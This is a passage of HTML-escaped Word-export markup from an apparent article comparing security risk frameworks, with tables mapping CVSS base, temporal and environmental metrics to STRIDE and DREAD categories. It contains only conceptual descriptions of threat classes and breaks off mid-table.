mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 139.9pt;&quot; valign=&quot;top&quot; width=&quot;280&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Impact of   confidentiality breach&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Information   Disclosure&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;tr&gt;   &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;CVSS Base Metrics&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 99.5pt;&quot; valign=&quot;top&quot; width=&quot;199&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Integrity impact&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 139.9pt;&quot; valign=&quot;top&quot; width=&quot;280&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Impact of integrity   breach&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Tampering&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;tr&gt;   &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;CVSS Base Metrics&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 99.5pt;&quot; valign=&quot;top&quot; width=&quot;199&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Availability impact&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 139.9pt;&quot; valign=&quot;top&quot; width=&quot;280&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Impact of system   availability breach&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Denial of Service&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;tr&gt;   &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;CVSS Base Metrics&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 99.5pt;&quot; valign=&quot;top&quot; width=&quot;199&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Impact bias&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 139.9pt;&quot; valign=&quot;top&quot; width=&quot;280&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Bias equal for CIA,   or biased towards one or more of CIA?&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;No equivalent&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;tr&gt;   &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;CVSS Temporal&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 99.5pt;&quot; valign=&quot;top&quot; width=&quot;199&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Exploitability&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 139.9pt;&quot; valign=&quot;top&quot; width=&quot;280&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;How easy is the   breach to exploit?&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Exploitability&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;tr&gt;   &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;CVSS Temporal&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 99.5pt;&quot; valign=&quot;top&quot; width=&quot;199&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Remediation Level&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 139.9pt;&quot; valign=&quot;top&quot; width=&quot;280&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Is a fix available? &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;No equivalent&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;tr&gt;   &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;CVSS Temporal&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 99.5pt;&quot; valign=&quot;top&quot; width=&quot;199&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Report confidence&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 139.9pt;&quot; valign=&quot;top&quot; width=&quot;280&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;How reliable is the   original report of the vulnerability?&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;No equivalent&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;tr&gt;   &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;CVSS Environmental&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 99.5pt;&quot; valign=&quot;top&quot; width=&quot;199&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Collateral Damage&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 139.9pt;&quot; valign=&quot;top&quot; width=&quot;280&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;How bad is the   damage if the threat were realized?&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Damage potential&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;tr&gt;   &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;CVSS Environmental&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 99.5pt;&quot; valign=&quot;top&quot; width=&quot;199&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Target Distribution&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 139.9pt;&quot; valign=&quot;top&quot; width=&quot;280&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;How many servers are   affected if the threat were realized?&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Affected users (not   directly equivalent)&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;div class=&quot;Body&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;Alternatively, here is how STRIDE / DREAD map to CVSS:&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-bottom-style: none; border-collapse: collapse; border-color: initial; border-image: initial; border-left-style: none; border-right-style: none; border-top-style: none; border-width: initial; width: 963px;&quot;&gt;&lt;thead&gt;
&lt;tr&gt;    &lt;td style=&quot;background: #F3F3F3; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;    &lt;div class=&quot;ListPlain&quot;&gt;STRIDE attribute&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;    &lt;td style=&quot;background: #F3F3F3; border-left: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 241.25pt;&quot; valign=&quot;top&quot; width=&quot;483&quot;&gt;    &lt;div class=&quot;ListPlain&quot;&gt;Description&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;    &lt;td style=&quot;background: #F3F3F3; border-left: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 120.5pt;&quot; valign=&quot;top&quot; width=&quot;241&quot;&gt;    &lt;div class=&quot;ListPlain&quot;&gt;Closest CVSS    attribute&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;
&lt;/thead&gt;  &lt;tbody&gt;
&lt;tr&gt;   &lt;td style=&quot;background: white; border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Spoofing identity&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;background: white; border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 241.25pt;&quot; valign=&quot;top&quot; width=&quot;483&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;How can users   obviate controls to become another user or act as another user?&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;background: white; border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 120.5pt;&quot; valign=&quot;top&quot; width=&quot;241&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;No direct equivalent&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;tr&gt;   &lt;td style=&quot;background: white; border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Tampering with data&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;background: white; border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 241.25pt;&quot; valign=&quot;top&quot; width=&quot;483&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Can data be tampered   with by an attacker to get the application to obviate security controls or   take over the underlying systems (eg SQL injections)&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;background: white; border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 120.5pt;&quot; valign=&quot;top&quot; width=&quot;241&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Integrity&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;tr&gt;   &lt;td style=&quot;background: white; border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Repudiation&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;background: white; border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 241.25pt;&quot; valign=&quot;top&quot; width=&quot;483&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Can users reject   transactions due to a lack of traceability within the application? &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;background: white; border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 120.5pt;&quot; valign=&quot;top&quot; width=&quot;241&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;No direct equivalent&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;tr&gt;   &lt;td style=&quot;background: white; border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Information   disclosure&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;background: white; border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 241.25pt;&quot; valign=&quot;top&quot; width=&quot;483&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Can authorization   controls be obviated which would then lead to sensitive information being   exposed which should not be?&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;background: white; border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 120.5pt;&quot; valign=&quot;top&quot; width=&quot;241&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Confidentiality&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;tr&gt;   &lt;td style=&quot;background: white; border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Denial of service&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;background: white; border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 241.25pt;&quot; valign=&quot;top&quot; width=&quot;483&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Can an attacker   prevent authorized users from accessing the system? &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;background: white; border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 120.5pt;&quot; valign=&quot;top&quot; width=&quot;241&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Availability&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;tr&gt;   &lt;td style=&quot;background: white; border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Elevation of   privilege&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;background: white; border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 241.25pt;&quot; valign=&quot;top&quot; width=&quot;483&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Can an anonymous   attacker become a user, or an authenticated user act as an administrator or   otherwise change to a more privileged role?&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;background: white; border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 120.5pt;&quot; valign=&quot;top&quot; width=&quot;241&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;No direct equivalent&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;div class=&quot;Body&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-bottom-style: none; border-collapse: collapse; border-color: initial; border-image: initial; border-left-style: none; border-right-style: none; border-top-style: none; border-width: initial; width: 963px;&quot;&gt;&lt;thead&gt;
&lt;tr&gt;    &lt;td style=&quot;background: #F3F3F3; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;    &lt;div class=&quot;ListPlain&quot;&gt;DREAD attribute&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;    &lt;td style=&quot;background: #F3F3F3; border-left: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 241.25pt;&quot; valign=&quot;top&quot; width=&quot;483&quot;&gt;    &lt;div class=&quot;ListPlain&quot;&gt;Description … if    the threat is realized&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;    &lt;td style=&quot;background: #F3F3F3; border-left: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 120.5pt;&quot; 